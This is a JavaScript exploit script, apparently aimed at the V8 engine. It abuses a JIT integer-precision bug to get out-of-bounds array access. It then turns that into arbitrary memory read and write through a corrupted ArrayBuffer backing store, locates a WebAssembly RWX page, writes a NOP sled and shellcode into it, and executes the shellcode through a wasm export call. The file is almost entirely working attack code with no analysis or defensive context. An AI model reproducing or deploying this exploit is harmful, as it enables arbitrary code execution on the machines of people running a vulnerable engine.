let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);

function d2u(val) {
    f64[0] = val;
    return u32;
}

function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

function hex(lo, hi) {
    if( lo == 0 ) {
        return ("0x" + hi.toString(16) + "-00000000");
    }
    if( hi == 0 ) {
        return ("0x" + lo.toString(16));
    }
    return ("0x" + hi.toString(16) + "-" + lo.toString(16));
}
function view(array, lim) {
    for(let i = 0; i < lim; i++) {
        t = array[i];
        console.log("[" + i + "] : " + hex(d2u(t)[0], d2u(t)[1]));
    }
}
let victim = undefined;
let ab = undefined;
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
function foo(trigger) {
    let arr = new Array(1.1, 1.2, 1.3);
    unboxed = new Array(5.5, 5.5, 5.5, 5.5, 5.5, 6.6);
    wasm_page = new Array(1.1, {}, 0x1337, 0x1338, 0x1339, f);
    ab = new ArrayBuffer(0x40);
    let y = trigger ? 9007199254740990 : 9007199254740976;
      let z = 2 + y ;
    // index 12
    z = z + 1 + 1 +1+1+1+1+1+1+1+1+1+1;
    z = z - 9007199254740990;
    let leak = arr[z];
    // change unboxed array's length property -> Full OOB R/W
    arr[z] = u2d(0, 0x1000);
    victim = unboxed;
    return leak;
}
/*
foo(true);
foo(true);
%OptimizeFunctionOnNextCall(foo);
foo(true);
*/
for(let i = 0; i < 100000; i++) {
    res = foo(true);
    if( res != 1.3 ) {
        break;
    }
}
//view(victim, 100);
/*
[20] : 0x875-6a10bf29
[21] : 0x1337-00000000
[22] : 0x1338-00000000
[23] : 0x1339-00000000
[24] : 0x1f41-1da9e861    <- [wasm object]
[31] : 0xa07-7700c21
[32] : 0x40                <- [ArrayBuffer Length]
[33] : 0x55f5-3508b650    <- [ArrayBuffer BackingStore]
*/
wasmObject_lo = d2u(victim[24])[0];
wasmObject_hi = d2u(victim[24])[1];
victim[32] = u2d(0x1000, 0);
victim[33] = u2d(wasmObject_lo - 1, wasmObject_hi);
let dv = new DataView(ab);
lo = dv.getUint32(0x18, true);
hi = dv.getUint32(0x18 + 4, true);
// leak rwx page (wasm)
victim[33] = u2d(lo - 1 - 0xc0, hi);
rwx_lo = dv.getUint32(0, true);
rwx_hi = dv.getUint32(4, true);
// set rwx page to ArrayBuffer's backingstore to set shellcode.
victim[33] = u2d(rwx_lo, rwx_hi);
for(let i = 0; i < 40; i++) {
    dv.setUint32(i * 4, 0x90909090, true);
}
var shellcode = [0xbb48c031, 0x91969dd1, 0xff978cd0, 0x53dbf748, 0x52995f54, 0xb05e5457, 0x50f3b];
for(let i = 0; i < shellcode.length; i++) {
    dv.setUint32(i * 4, shellcode[i], true);
}
f(1, 2);
